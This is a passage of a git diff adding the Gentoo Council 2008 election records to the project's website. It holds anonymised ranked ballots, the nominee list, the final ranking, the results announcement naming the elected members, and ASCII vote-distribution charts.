+ulm
+fmccor
+lu_zero hkBst astinus dertobi123 leio
+Jokey dberkholz Betelgeuse
+welp Flameeyes jer cardoe
+--------- confirmation 842b ---------
+fmccor
+dberkholz
+Jokey
+Halcy0n
+lu_zero hkBst ferdy ulm astinus welp peper zlin dev-zero cardoe Betelgeuse dertobi123 leio jer Flameeyes
+--------- confirmation 8436 ---------
+Flameeyes
+dberkholz lu_zero fmccor
+dertobi123 Halcy0n cardoe dev-zero ferdy
+leio welp Jokey jer hkBst astinus ulm zlin
+Betelgeuse
+peper
+--------- confirmation 86bf ---------
+Halcy0n
+ulm
+hkBst
+dev-zero
+fmccor
+dberkholz
+jer
+leio
+Betelgeuse
+peper
+Flameeyes
+dertobi123
+lu_zero
+welp
+Jokey
+cardoe
+zlin ferdy
+--------- confirmation 873b ---------
+dberkholz
+Betelgeuse Jokey lu_zero
+fmccor dev-zero cardoe
+Flameeyes dertobi123
+hkBst
+zlin leio jer peper ferdy astinus welp ulm
+Halcy0n
+--------- confirmation 87e8 ---------
+ulm
+hkBst
+Jokey
+dertobi123
+Flameeyes
+dberkholz
+Betelgeuse
+jer
+Halcy0n
+lu_zero
+welp
+leio
+dev-zero
+astinus
+cardoe
+fmccor
+peper
+zlin
+ferdy
+--------- confirmation 8c63 ---------
+zlin Betelgeuse ulm fmccor hkBst dertobi123 jer dberkholz Halcy0n Flameeyes peper welp leio dev-zero Jokey cardoe lu_zero ferdy
+--------- confirmation 8d13 ---------
+Betelgeuse Flameeyes dberkholz lu_zero Jokey
+dev-zero dertobi123 hkBst
+Halcy0n jer astinus
+cardoe leio peper
+ferdy zlin fmccor welp ulm
+--------- confirmation 8e4a ---------
+dberkholz
+Flameeyes Betelgeuse Jokey dertobi123
+lu_zero ulm
+jer hkBst cardoe Halcy0n leio dev-zero
+welp
+fmccor
+zlin ferdy
+peper astinus
+--------- confirmation 90cb ---------
+lu_zero dberkholz welp
+cardoe dev-zero Flameeyes
+Jokey Betelgeuse
+Halcy0n
+jer
+peper
+leio ulm zlin fmccor hkBst dertobi123 astinus ferdy
+--------- confirmation 92b6 ---------
+Flameeyes
+dberkholz
+welp
+lu_zero
+cardoe
+peper
+Betelgeuse
+Jokey
+dev-zero
+Halcy0n
+jer
+dertobi123
+ulm
+--------- confirmation 954d ---------
+dberkholz Betelgeuse
+dev-zero jer hkBst Halcy0n welp zlin dertobi123 ulm peper ferdy fmccor lu_zero astinus Flameeyes cardoe Jokey leio
+--------- confirmation 9674 ---------
+dberkholz Jokey Betelgeuse Flameeyes Halcy0n lu_zero jer
+dertobi123 leio
+cardoe welp
+hkBst dev-zero
+ulm
+fmccor
+peper
+astinus
+zlin
+ferdy
+--------- confirmation 0f1b ---------
+Jokey dertobi123
+ulm Betelgeuse
+dberkholz
+fmccor
+Flameeyes
+lu_zero welp jer leio Halcy0n peper hkBst
+cardoe dev-zero zlin ferdy
+--------- confirmation 98ae ---------
+dberkholz Betelgeuse Jokey
+dertobi123 dev-zero cardoe fmccor
+astinus welp jer leio hkBst peper ferdy zlin Halcy0n
+lu_zero Flameeyes ulm
+--------- confirmation 99b3 ---------
+fmccor
+hkBst
+Betelgeuse
+dev-zero
+Halcy0n
+ferdy
+dertobi123
+zlin
+peper
+ulm
+dberkholz
+welp
+Jokey
+cardoe
+leio
+Flameeyes
+lu_zero
+jer
+astinus
+--------- confirmation 99d3 ---------
+Jokey
+dev-zero
+dertobi123
+Halcy0n
+leio
+dberkholz
+Flameeyes
+welp
+fmccor
+cardoe
+lu_zero
+Betelgeuse
+ulm
+hkBst
+astinus
+jer
+peper
+ferdy
+zlin
+--------- confirmation 9ba2 ---------
+Jokey welp
+dertobi123 hkBst dberkholz ulm zlin cardoe lu_zero jer dev-zero ferdy astinus peper Betelgeuse fmccor Halcy0n leio
+Flameeyes
+--------- confirmation 9d89 ---------
+dev-zero
+ferdy Betelgeuse
+Halcy0n
+dberkholz
+--------- confirmation 9d98 ---------
+hkBst
+ulm
+Halcy0n
+jer
+dberkholz
+Flameeyes
+Betelgeuse
+leio
+cardoe
+lu_zero
+dev-zero
+Jokey
+astinus
+fmccor
+ferdy
+dertobi123
+peper
+zlin
+welp
+--------- confirmation 9e54 ---------
+dev-zero
+dertobi123 Jokey
+Halcy0n Flameeyes
+fmccor dberkholz
+--------- confirmation 1023 ---------
+Betelgeuse
+dberkholz
+dev-zero
+dertobi123
+fmccor
+leio
+zlin welp jer cardoe Halcy0n ulm ferdy Flameeyes Jokey astinus lu_zero peper hkBst
+--------- confirmation a237 ---------
+zlin
+Halcy0n
+dertobi123
+Betelgeuse
+Jokey
+lu_zero
+astinus
+peper
+cardoe
+dberkholz
+Flameeyes
+dev-zero
+leio
+jer
+fmccor
+welp
+ulm
+hkBst
+ferdy
+--------- confirmation a2a8 ---------
+Betelgeuse
+dertobi123
+Flameeyes
+astinus
+dberkholz
+Halcy0n
+leio
+hkBst
+ulm
+dev-zero
+lu_zero
+jer
+welp
+cardoe
+Jokey
+fmccor
+ferdy
+peper
+zlin
+--------- confirmation a84e ---------
+fmccor dberkholz
+dev-zero
+ulm welp cardoe
+Flameeyes
+Jokey lu_zero
+dertobi123
+leio Halcy0n ferdy peper Betelgeuse hkBst zlin jer
+--------- confirmation a85e ---------
+Halcy0n dberkholz dertobi123 lu_zero
+Jokey astinus cardoe
+welp leio hkBst ulm
+Flameeyes
+Betelgeuse
+dev-zero
+jer
+peper
+ferdy zlin fmccor
+--------- confirmation a8e2 ---------
+zlin
+ferdy
+dev-zero
+hkBst
+fmccor
+peper
+dertobi123
+dberkholz
+welp
+ulm
+Betelgeuse
+Flameeyes Jokey cardoe leio astinus jer lu_zero Halcy0n
+--------- confirmation abeb ---------
+Flameeyes dberkholz Halcy0n fmccor
+cardoe Betelgeuse Jokey leio
+dertobi123 ulm welp
+hkBst jer dev-zero lu_zero ferdy peper zlin
+--------- confirmation adaf ---------
+Flameeyes Halcy0n lu_zero dberkholz welp
+ferdy zlin dev-zero fmccor astinus ulm cardoe Betelgeuse leio dertobi123 hkBst jer Jokey peper
+--------- confirmation adef ---------
+ulm Betelgeuse Jokey Flameeyes lu_zero dberkholz cardoe
+ferdy welp fmccor peper dertobi123
+dev-zero astinus leio hkBst zlin jer Halcy0n
+--------- confirmation af16 ---------
+Jokey
+welp dberkholz ferdy cardoe Betelgeuse jer lu_zero hkBst Flameeyes peper dertobi123 ulm astinus Halcy0n leio zlin fmccor dev-zero
+--------- confirmation b323 ---------
+dberkholz
+Halcy0n
+welp fmccor dev-zero leio Betelgeuse
+lu_zero Flameeyes cardoe hkBst
+jer Jokey
+dertobi123 peper ulm
+ferdy zlin
+--------- confirmation b47d ---------
+dertobi123
+fmccor
+lu_zero
+Jokey
+jer hkBst
+Betelgeuse
+Halcy0n
+dberkholz
+cardoe
+ulm
+welp
+astinus
+leio
+Flameeyes
+ferdy
+dev-zero zlin peper
+--------- confirmation b71c ---------
+dberkholz
+Flameeyes
+Halcy0n
+fmccor
+Jokey
+Betelgeuse
+cardoe
+zlin
+welp
+ulm
+--------- confirmation b842 ---------
+Flameeyes
+dberkholz
+Halcy0n
+cardoe
+jer
+--------- confirmation b96e ---------
+Flameeyes dberkholz
+dev-zero dertobi123
+Betelgeuse lu_zero Halcy0n leio
+cardoe jer welp
+fmccor ferdy
+peper Jokey astinus
+hkBst ulm zlin
+--------- confirmation 12ba ---------
+Jokey
+dberkholz
+jer Halcy0n
+ulm hkBst dertobi123 dev-zero
+cardoe
+lu_zero Betelgeuse Flameeyes
+leio fmccor
+welp
+peper ferdy zlin
+astinus
+--------- confirmation c18f ---------
+ulm dberkholz
+leio dertobi123 Betelgeuse
+hkBst dev-zero jer
+Flameeyes Jokey
+peper fmccor cardoe Halcy0n
+--------- confirmation c1a2 ---------
+cardoe ferdy jer leio lu_zero Flameeyes dberkholz
+Betelgeuse fmccor ulm
+zlin
+--------- confirmation c539 ---------
+peper
+ferdy zlin
+dev-zero dberkholz fmccor hkBst
+Betelgeuse dertobi123
+Halcy0n Jokey welp ulm
+cardoe Flameeyes astinus lu_zero leio jer
+--------- confirmation c62f ---------
+dberkholz
+Halcy0n
+jer
+leio
+Jokey lu_zero
+Flameeyes
+dev-zero
+cardoe
+Betelgeuse
+ulm
+welp
+dertobi123
+astinus
+hkBst
+peper
+zlin
+ferdy
+fmccor
+--------- confirmation c6ad ---------
+fmccor dertobi123 astinus Flameeyes jer lu_zero Halcy0n dberkholz Betelgeuse cardoe
+ferdy welp hkBst peper leio ulm dev-zero Jokey zlin
+--------- confirmation 14a7 ---------
+Flameeyes Betelgeuse
+cardoe Jokey lu_zero
+astinus dberkholz Halcy0n
+leio ulm dev-zero welp hkBst
+jer dertobi123 zlin fmccor ferdy peper
+--------- confirmation cf79 ---------
+fmccor
+dberkholz
+Halcy0n
+dertobi123 Jokey
+Flameeyes
+welp
+dev-zero
+ulm
+zlin
+lu_zero
+Betelgeuse
+cardoe
+hkBst
+leio
+jer
+peper
+ferdy
+astinus
+--------- confirmation 14c2 ---------
+dberkholz Halcy0n
+Flameeyes Jokey lu_zero Betelgeuse
+dev-zero leio dertobi123
+ferdy peper zlin cardoe
+astinus welp ulm fmccor hkBst jer
+--------- confirmation d063 ---------
+Flameeyes
+Betelgeuse
+dberkholz
+Jokey
+lu_zero
+Halcy0n
+cardoe
+astinus
+leio
+jer
+welp
+ulm
+hkBst
+fmccor
+peper
+dertobi123
+dev-zero
+ferdy
+zlin
+--------- confirmation d421 ---------
+Betelgeuse dberkholz lu_zero Halcy0n leio Flameeyes Jokey fmccor
+jer ulm cardoe dev-zero welp dertobi123 peper ferdy
+hkBst
+--------- confirmation d435 ---------
+Jokey zlin peper dberkholz
+Betelgeuse Halcy0n ferdy
+Flameeyes dertobi123
+hkBst ulm
+leio cardoe dev-zero fmccor
+welp jer astinus lu_zero
+--------- confirmation d48f ---------
+Flameeyes
+dberkholz
+Halcy0n
+lu_zero
+dertobi123
+cardoe
+jer
+hkBst
+--------- confirmation d582 ---------
+leio
+dberkholz
+cardoe
+lu_zero
+Flameeyes
+dertobi123
+--------- confirmation d5f4 ---------
+dberkholz
+cardoe
+Betelgeuse
+fmccor
+zlin
+lu_zero
+dertobi123 welp astinus ferdy jer Jokey peper ulm hkBst leio dev-zero
+Halcy0n
+Flameeyes
+--------- confirmation d7ae ---------
+zlin
+dberkholz
+Flameeyes fmccor ferdy hkBst Halcy0n
+dev-zero jer Betelgeuse
+dertobi123 welp lu_zero
+peper Jokey leio astinus cardoe ulm
+--------- confirmation d883 ---------
+Betelgeuse Flameeyes Halcy0n dberkholz dertobi123
+Jokey lu_zero dev-zero jer cardoe
+leio ulm
+welp hkBst
+zlin fmccor ferdy peper
+--------- confirmation d9a5 ---------
+dertobi123
+leio ulm Jokey dev-zero
+dberkholz
+lu_zero Flameeyes Betelgeuse
+Halcy0n
+jer welp astinus
+zlin
+fmccor
+hkBst peper cardoe ferdy
+--------- confirmation d9f3 ---------
+Flameeyes dberkholz
+cardoe lu_zero welp
+dev-zero leio fmccor
+dertobi123
+Halcy0n ferdy Betelgeuse
+Jokey
+ulm
+hkBst
+jer
+peper
+--------- confirmation dde9 ---------
+Halcy0n dberkholz leio Betelgeuse cardoe Flameeyes dev-zero
+ulm Jokey
+dertobi123 welp
+lu_zero
+jer fmccor
+peper zlin
+hkBst ferdy
+--------- confirmation e288 ---------
+ulm
+welp
+lu_zero
+dberkholz
+Halcy0n
+Jokey
+Flameeyes
+Betelgeuse
+cardoe
+jer
+dertobi123
+leio
+hkBst fmccor dev-zero
+ferdy zlin peper
+--------- confirmation e3d0 ---------
+dberkholz cardoe Betelgeuse Halcy0n dev-zero lu_zero astinus welp dertobi123
+leio ulm jer
+Flameeyes Jokey hkBst
+fmccor
+--------- confirmation e43c ---------
+Jokey
+hkBst
+lu_zero
+ferdy
+cardoe
+welp
+dberkholz
+dev-zero
+dertobi123
+peper
+jer
+ulm
+Betelgeuse
+Halcy0n
+leio
+astinus
+Flameeyes
+fmccor
+zlin
+--------- confirmation e4aa ---------
+dertobi123
+Flameeyes dberkholz Betelgeuse
+fmccor welp
+--------- confirmation e6ae ---------
+Betelgeuse
+fmccor
+cardoe Halcy0n astinus dertobi123 peper jer hkBst zlin dberkholz Flameeyes Jokey ferdy ulm dev-zero lu_zero leio welp
+--------- confirmation e858 ---------
+Betelgeuse dberkholz Flameeyes Jokey lu_zero dev-zero cardoe
+Halcy0n welp hkBst dertobi123 fmccor
+leio ulm
+zlin astinus jer peper
+ferdy
+--------- confirmation e917 ---------
+dberkholz
+Flameeyes
+lu_zero
+Betelgeuse
+ferdy
+dev-zero
+Jokey zlin astinus cardoe jer ulm dertobi123 fmccor welp Halcy0n leio hkBst
+peper
+--------- confirmation ea9c ---------
+ferdy
+zlin
+peper
+dertobi123
+Betelgeuse
+dberkholz
+Halcy0n
+ulm
+hkBst
+dev-zero
+fmccor
+Jokey
+cardoe
+leio
+welp
+jer
+Flameeyes
+astinus
+lu_zero
+--------- confirmation ec63 ---------
+dberkholz
+lu_zero
+Flameeyes
+Betelgeuse
+dertobi123
+astinus
+Halcy0n
+welp
+leio
+--------- confirmation f052 ---------
+leio
+dberkholz
+Halcy0n
+Flameeyes
+dertobi123
+Betelgeuse
+lu_zero dev-zero cardoe
+Jokey
+ulm
+peper
+welp
+jer
+fmccor
+hkBst
+ferdy zlin astinus
+--------- confirmation f144 ---------
+dberkholz
+dertobi123
+Jokey
+Halcy0n
+lu_zero
+Betelgeuse
+fmccor
+jer
+dev-zero
+hkBst
+--------- confirmation f255 ---------
+cardoe
+dberkholz
+leio lu_zero Flameeyes
+ulm dev-zero
+Jokey
+hkBst
+Betelgeuse
+Halcy0n
+astinus
+dertobi123
+welp
+jer fmccor ferdy peper zlin
+--------- confirmation f426 ---------
+Halcy0n
+dberkholz
+Flameeyes
+Jokey
+dertobi123
+lu_zero
+cardoe
+dev-zero
+--------- confirmation f481 ---------
+Flameeyes
+cardoe
+dberkholz
+dertobi123
+lu_zero
+welp
+leio
+Jokey
+fmccor
+astinus
+Betelgeuse
+hkBst
+Halcy0n
+ulm
+dev-zero
+zlin
+ferdy
+peper
+jer
+--------- confirmation f4b7 ---------
+dberkholz dertobi123
+Jokey Betelgeuse lu_zero
+ulm Halcy0n
+dev-zero
+leio Flameeyes welp jer
+hkBst
+astinus cardoe
+fmccor ferdy zlin peper
+--------- confirmation f532 ---------
+Halcy0n
+Betelgeuse
+Jokey
+dberkholz
+cardoe
+welp
+dev-zero
+--------- confirmation f62a ---------
+dberkholz
+Flameeyes
+lu_zero
+cardoe
+Jokey
+astinus
+Halcy0n
+welp
+leio
+hkBst
+dertobi123
+ulm
+Betelgeuse
+jer
+dev-zero
+fmccor
+zlin
+peper
+ferdy
+--------- confirmation f7aa ---------
+astinus
+fmccor
+dberkholz dev-zero lu_zero
+Betelgeuse
+jer Jokey ulm hkBst Halcy0n cardoe
+welp leio
+dertobi123 Flameeyes
+ferdy peper zlin
+--------- confirmation fca7 ---------
+zlin
+ferdy fmccor peper
+leio Betelgeuse
+dev-zero
+welp
+Halcy0n
+ulm
+Jokey
+lu_zero
+--------- confirmation fd45 ---------
+dberkholz
+leio
+lu_zero
+dertobi123
+cardoe
+Halcy0n
+Betelgeuse
+Jokey peper ulm hkBst jer dev-zero
+Flameeyes
+welp
+fmccor
+ferdy
+zlin
+astinus
+--------- confirmation fe43 ---------
+dberkholz Flameeyes Halcy0n
+astinus leio
+Betelgeuse cardoe
+dertobi123 fmccor hkBst jer lu_zero ulm welp
+dev-zero Jokey
+ferdy peper zlin
+--------- confirmation fe79 ---------
+dertobi123 hkBst
+zlin fmccor ulm welp dev-zero
+peper leio
+Betelgeuse
+Jokey
+Halcy0n
+lu_zero
+Flameeyes
+cardoe
+ferdy
+jer
+dberkholz
+astinus
+--------- confirmation fe84 ---------
+dberkholz fmccor
+Flameeyes ferdy Halcy0n leio
+lu_zero ulm peper Betelgeuse
+--------- confirmation 1f69 ---------
+dberkholz
+Jokey
+dertobi123
+Betelgeuse
+Halcy0n
+leio
+ulm
+lu_zero
+jer
+welp Flameeyes
+cardoe dev-zero fmccor hkBst
+astinus peper ferdy
+zlin
+--------- confirmation 2039 ---------
+dberkholz
+Flameeyes
+cardoe
+lu_zero
+jer
+Halcy0n
+dev-zero leio
+hkBst ulm Jokey dertobi123 peper
+welp
+astinus
+Betelgeuse
+zlin
+fmccor
+ferdy
+--------- confirmation 2057 ---------
+dertobi123
+cardoe
+Flameeyes
+welp dberkholz
+Betelgeuse Jokey jer peper ulm fmccor leio zlin Halcy0n dev-zero ferdy astinus hkBst lu_zero
+--------- confirmation 2265 ---------
+dev-zero
+Jokey
+welp
+Flameeyes
+--------- confirmation 23f8 ---------
+dberkholz dertobi123 Jokey Betelgeuse
+dev-zero hkBst Halcy0n Flameeyes astinus lu_zero
+jer leio ferdy peper welp ulm cardoe fmccor zlin
+--------- confirmation 2490 ---------
+dberkholz
+Flameeyes
+Betelgeuse
+hkBst cardoe jer dev-zero
+Halcy0n dertobi123 Jokey
+leio peper zlin ulm
+ferdy welp astinus fmccor lu_zero
+--------- confirmation 2546 ---------
+Flameeyes cardoe lu_zero fmccor dberkholz
+dev-zero Betelgeuse Halcy0n
+leio jer Jokey ulm hkBst
+welp peper dertobi123
+zlin
+astinus ferdy
+--------- confirmation 2575 ---------
+dberkholz
+Flameeyes
+Betelgeuse
+lu_zero
+Jokey
+Halcy0n
+fmccor
+dertobi123 dev-zero
+hkBst
+jer
+ulm leio
+astinus cardoe welp peper zlin ferdy
diff --git a/xml/htdocs/proj/en/elections/council/2008/council-2008-nominees.xml b/xml/htdocs/proj/en/elections/council/2008/council-2008-nominees.xml
new file mode 100644
index 00000000..ecea30a8
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2008/council-2008-nominees.xml
@@ -0,0 +1,67 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/elections/council/2008/council-2008-nominees.xml,v 1.1 2009/12/31 02:02:39 jmbsvicetto Exp $ -->
+<!DOCTYPE election SYSTEM "/dtd/election.dtd">
+<?xml-stylesheet href="/xsl/election.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<election>
+  <title>Gentoo Council 2007/2008 Nominations</title>
+
+<author title="Election Official">
+  <mail link="antarus"/>
+</author>
+<author title="Election Official">
+  <mail link="jmbsvicetto"/>
+</author>
+<author title="Election Official">
+  <mail link="rane"/>
+</author>
+<author title="Infrastructure Contact">
+  <mail link="fox2mike"/>
+</author>
+
+<date>2008-06-21</date>
+<version>24</version>
+
+<nominations from="2008-06-05" to="2008-06-18">
+  <nominee accepted="yes">astinus</nominee>
+  <nominee accepted="yes" council="yes" devrel="yes">Betelgeuse</nominee>
+  <nominee accepted="yes" >cardoe</nominee>
+  <nominee accepted="yes" council="yes">dberkholz</nominee>
+  <nominee accepted="yes" platform="nominees/2008/dertobi123.txt">dertobi123</nominee>
+  <nominee accepted="yes" platform="nominees/2008/dev-zero.txt">dev-zero</nominee>
+  <nominee accepted="yes">ferdy</nominee>
+  <nominee accepted="yes" council="yes">Flameeyes</nominee>
+  <nominee accepted="yes" platform="nominees/2008/fmccor.txt" devrel="yes" trustee="yes">fmccor</nominee>
+  <nominee accepted="yes" platform="nominees/2008/Halcy0n.txt">Halcy0n</nominee>
+  <nominee accepted="yes" platform="nominees/2008/hkBst.txt">hkBst</nominee>
+  <nominee accepted="yes">jer</nominee>
+  <nominee accepted="yes" council="yes">Jokey</nominee>
+  <nominee accepted="yes" platform="nominees/2008/leio.txt">leio</nominee>
+  <nominee accepted="yes" council="yes">lu_zero</nominee>
+  <nominee accepted="yes" >peper</nominee>
+  <nominee accepted="yes">ulm</nominee>
+  <nominee accepted="yes" platform="nominees/2008/welp.txt">welp</nominee>
+  <nominee accepted="yes">zlin</nominee>
+
+  <nominee > </nominee>
+
+  <nominee accepted="no">aballier</nominee>
+  <nominee accepted="no">agaffney</nominee>
+  <nominee accepted="no" council="yes">amne</nominee>
+  <nominee accepted="no">armin76</nominee>
+  <nominee accepted="no">Coldwind</nominee>
+  <nominee accepted="no">dirtyepic</nominee>
+  <nominee accepted="no">Ingmar</nominee>
+  <nominee accepted="no">KingTaco</nominee>
+  <nominee accepted="no" devrel="yes" trustee="yes">tsunam</nominee>
+  <nominee accepted="no" trustee="yes">NeddySeagoon</nominee>
+  <nominee accepted="no" >fauli</nominee>
+  <nominee accepted="no">rane</nominee>
+  <nominee accepted="no">robbat2</nominee>
+  <nominee accepted="no">solar</nominee>
+  <nominee accepted="no" council="yes" devrel="yes">vapier</nominee>
+  <nominee accepted="no" >wolf31o2</nominee>
+  <nominee accepted="no" >zmedico</nominee>
+</nominations>
+</election>
diff --git a/xml/htdocs/proj/en/elections/council/2008/council-2008-rank.txt b/xml/htdocs/proj/en/elections/council/2008/council-2008-rank.txt
new file mode 100644
index 00000000..12572613
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2008/council-2008-rank.txt
@@ -0,0 +1,18 @@
+dberkholz
+Halcy0n
+Flameeyes
+Betelgeuse
+lu_zero
+Jokey
+dertobi123
+cardoe
+dev-zero
+leio
+welp
+fmccor
+ulm
+jer
+hkBst
+astinus
+ferdy peper
+zlin
diff --git a/xml/htdocs/proj/en/elections/council/2008/council-2008-results.txt b/xml/htdocs/proj/en/elections/council/2008/council-2008-results.txt
new file mode 100644
index 00000000..0d2e1368
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2008/council-2008-results.txt
@@ -0,0 +1,52 @@
+Dear Gentoo Community,
+
+Here are your verified and long-awaited results.
+
+Gentoo Council for term 2008/2009 will be:
+
+Donnie Berkholz (dberkholz)
+Mark Loeser (Halcy0n)
+Diego Petteno (Flameeyes)
+Petteri Raty (Betelgeuse)
+Luca Barbato (lu_zero)
+Markus Ullmann (Jokey)
+Tobias Scherbaum (dertobi123)
+
+Congratulations and good luck.
+
+Full ranked list of candidates:
+
+dberkholz
+Halcy0n
+Flameeyes
+Betelgeuse
+lu_zero
+Jokey
+dertobi123
+cardoe
+dev-zero
+leio
+welp
+fmccor
+ulm
+jer
+hkBst
+astinus
+ferdy peper
+zlin
+
+This mail has the mastor ballot file attached to it. You were also
+mailed with your ID. You can use the file and the ID to verify that
+your vote was included in the master ballot file. If you didn't get
+your ID or you can't find your vote inside the ballot file, please
+contact election officials (rane, antarus, jmbsvicetto, fox2mike (@g.o
+or #gentoo-elections on freenode)).
+
+The turnout was (I think record) 57%. We received 143 valid votes and
+two invalid (two people who forgot to issue votify --submit).
+
+Thanks for all the votes and kind regards,
+
+For election officials,
+
+Lukasz Damentko
diff --git a/xml/htdocs/proj/en/elections/council/2008/council-2008-vote-distribution.txt b/xml/htdocs/proj/en/elections/council/2008/council-2008-vote-distribution.txt
new file mode 100644
index 00000000..d7a13b57
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2008/council-2008-vote-distribution.txt
@@ -0,0 +1,228 @@
+  dberkholz (1)
+|#         
+|#         
+|#         
+|#         
+|#         
+|#         
+|###       
+|###       
+|##########
++----------
+
+  Halcy0n (2)
+|          
+|          
+|          
+|          
+|#         
+|#  #      
+|####  #   
+|######### 
+|##########
++----------
+
+  Flameeyes (3)
+|          
+|          
+|#         
+|#         
+|#         
+|#         
+|#  # #  # 
+|######  # 
+|##########
++----------
+
+  Betelgeuse (4)
+|          
+|          
+|          
+|          
+|          
+|#         
+|#### #    
+|######### 
+|##########
++----------
+
+  lu_zero (5)
+|          
+|          
+|          
+|          
+|          
+|# #       
+|###  #  # 
+|#### #### 
+|##########
++----------
+
+  Jokey (6)
+|          
+|          
+|          
+|          
+|          
+|#    #    
+|###  # #  
+|######### 
+|##########
++----------
+
+  dertobi123 (7)
+|          
+|          
+|          
+|          
+|          
+|     #    
+|##   # #  
+|######### 
+|##########
++----------
+
+  cardoe (8)
+|          
+|          
+|          
+|          
+|          
+|          
+|# ## ## # 
+|######### 
+|##########
++----------
+
+  dev-zero (9)
+|          
+|          
+|          
+|          
+|          
+|      #   
+|# ## ###  
+|######### 
+|##########
++----------
+
+  leio (10)
+|          
+|          
+|          
+|          
+|          
+|      #   
+|     #### 
+|######### 
+|##########
++----------
+
+  welp (11)
+|          
+|          
+|          
+|          
+|     #    
+|     ## # 
+|  #  #### 
+|# # ##### 
+|##########
++----------
+
+  fmccor (12)
+|          
+|          
+|          
+|          
+|          
+|        # 
+|#    #### 
+|#### #####
+|##########
++----------
+
+  ulm (13)
+|          
+|          
+|          
+|          
+|          
+|     #  # 
+|    ##### 
+|# ####### 
+|##########
++----------
+
+  jer (14)
+|          
+|          
+|          
+|          
+|          
+|     #### 
+|     #### 
+|  ########
+|##########
++----------
+
+  hkBst (15)
+|          
+|          
+|          
+|          
+|          
+|     ## # 
+|     #### 
+|#  #######
+|##########
++----------
+
+  astinus (16)
+|          
+|          
+|          
+|        # 
+|        # 
+|        ##
+|     #####
+|     #####
+|##########
++----------
+
+  ferdy (17)
+|          
+|        # 
+|        # 
+|        # 
+|        # 
+|        # 
+|       ###
+|#    #####
+|##########
++----------
+
+  zlin (18)
+|          
+|          
+|        # 
+|        # 
+|        # 
+|       ###
+|      ####
+|#    #####
+|##########
++----------
+
+  peper (19)
+|          
+|          
+|        # 
+|        # 
+|        # 
+|        # 
+|      ####
+|     #####
+|##########
++----------
+
diff --git a/xml/htdocs/proj/en/elections/council/2008/council-200811-master.txt b/xml/htdocs/proj/en/elections/council/2008/council-200811-master.txt
new file mode 100644
index 00000000..5e7e0c06
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2008/council-200811-master.txt
@@ -0,0 +1,564 @@
+--------- confirmation 3070 ---------
+dev-zero
+ulm
+_reopen_nominations
+ssuominen
+jer
+leio
+--------- confirmation 32e9 ---------
+ssuominen
+leio
+_reopen_nominations
+dev-zero
+jer
+ulm
+--------- confirmation 3461 ---------
+ulm
+leio
+_reopen_nominations
+jer
+ssuominen
+dev-zero
+--------- confirmation 36c9 ---------
+leio
+jer
+_reopen_nominations
+ssuominen ulm dev-zero
+--------- confirmation 39e6 ---------
+dev-zero
+ulm
+_reopen_nominations
+ssuominen leio
+jer
+--------- confirmation 3c3f ---------
+dev-zero
+jer ssuominen
+_reopen_nominations
+ulm
+leio
+--------- confirmation 3db2 ---------
+ssuominen
+dev-zero
+_reopen_nominations
+jer ulm leio
+--------- confirmation 4152 ---------
+dev-zero
+jer
+ulm
+leio
+ssuominen
+_reopen_nominations
+--------- confirmation 418a ---------
+ssuominen leio ulm
+dev-zero
+jer
+_reopen_nominations
+--------- confirmation 41b1 ---------
+dev-zero
+leio
+ssuominen
+_reopen_nominations
+ulm jer
+--------- confirmation 4430 ---------
+ulm
+leio
+ssuominen jer dev-zero
+_reopen_nominations
+--------- confirmation 45c8 ---------
+ssuominen
+jer
+ulm
+_reopen_nominations
+dev-zero
+leio
+--------- confirmation 4cee ---------
+ulm dev-zero jer ssuominen leio
+_reopen_nominations
+--------- confirmation 4dfc ---------
+dev-zero
+leio
+_reopen_nominations
+jer ssuominen ulm
+--------- confirmation 4ebd ---------
+_reopen_nominations
+dev-zero
+leio
+ulm jer ssuominen
+--------- confirmation 5080 ---------
+ssuominen
+dev-zero leio
+ulm
+jer
+_reopen_nominations
+--------- confirmation 539a ---------
+dev-zero
+leio
+ulm
+ssuominen
+jer
+_reopen_nominations
+--------- confirmation 5740 ---------
+ulm
+_reopen_nominations
+jer
+ssuominen
+leio
+dev-zero
+--------- confirmation 59b8 ---------
+leio dev-zero ssuominen jer ulm
+_reopen_nominations
+--------- confirmation 5d4e ---------
+dev-zero
+_reopen_nominations
+ulm
+jer
+leio
+ssuominen
+--------- confirmation 6057 ---------
+dev-zero
+leio
+_reopen_nominations
+ulm
+ssuominen
+jer
+--------- confirmation 60fc ---------
+jer
+leio
+ssuominen
+_reopen_nominations
+--------- confirmation 61ba ---------
+dev-zero
+ulm jer leio
+_reopen_nominations
+ssuominen
+--------- confirmation 62dd ---------
+dev-zero
+leio
+ssuominen
+ulm
+_reopen_nominations
+jer
+--------- confirmation 66e3 ---------
+jer
+ulm dev-zero leio
+ssuominen
+_reopen_nominations
+--------- confirmation 6934 ---------
+leio
+ssuominen
+dev-zero
+ulm
+jer
+_reopen_nominations
+--------- confirmation 6a68 ---------
+leio
+_reopen_nominations
+jer
+dev-zero
+ulm
+ssuominen
+--------- confirmation 6a9d ---------
+jer
+dev-zero
+ulm
+leio
+ssuominen
+_reopen_nominations
+--------- confirmation 712b ---------
+dev-zero
+leio
+ssuominen jer ulm
+--------- confirmation 7437 ---------
+dev-zero
+ulm
+ssuominen leio _reopen_nominations jer
+--------- confirmation 756f ---------
+jer
+ssuominen
+leio
+_reopen_nominations
+ulm
+dev-zero
+--------- confirmation 7609 ---------
+jer
+leio
+dev-zero
+ulm
+ssuominen
+_reopen_nominations
+--------- confirmation 785f ---------
+ssuominen
+_reopen_nominations
+--------- confirmation 7a83 ---------
+leio
+ssuominen
+_reopen_nominations
+dev-zero
+jer
+ulm
+--------- confirmation 7f87 ---------
+dev-zero
+leio
+jer
+ulm
+ssuominen
+_reopen_nominations
+--------- confirmation 8357 ---------
+leio
+--------- confirmation 84aa ---------
+dev-zero jer
+ulm ssuominen leio
+_reopen_nominations
+--------- confirmation 8c13 ---------
+dev-zero jer leio ssuominen ulm
+_reopen_nominations
+--------- confirmation 8c9b ---------
+ulm
+jer
+leio
+ssuominen
+dev-zero
+_reopen_nominations
+--------- confirmation 8e34 ---------
+dev-zero leio
+ssuominen
+_reopen_nominations
+ulm
+jer
+--------- confirmation 8e8f ---------
+dev-zero ssuominen
+jer ulm leio
+_reopen_nominations
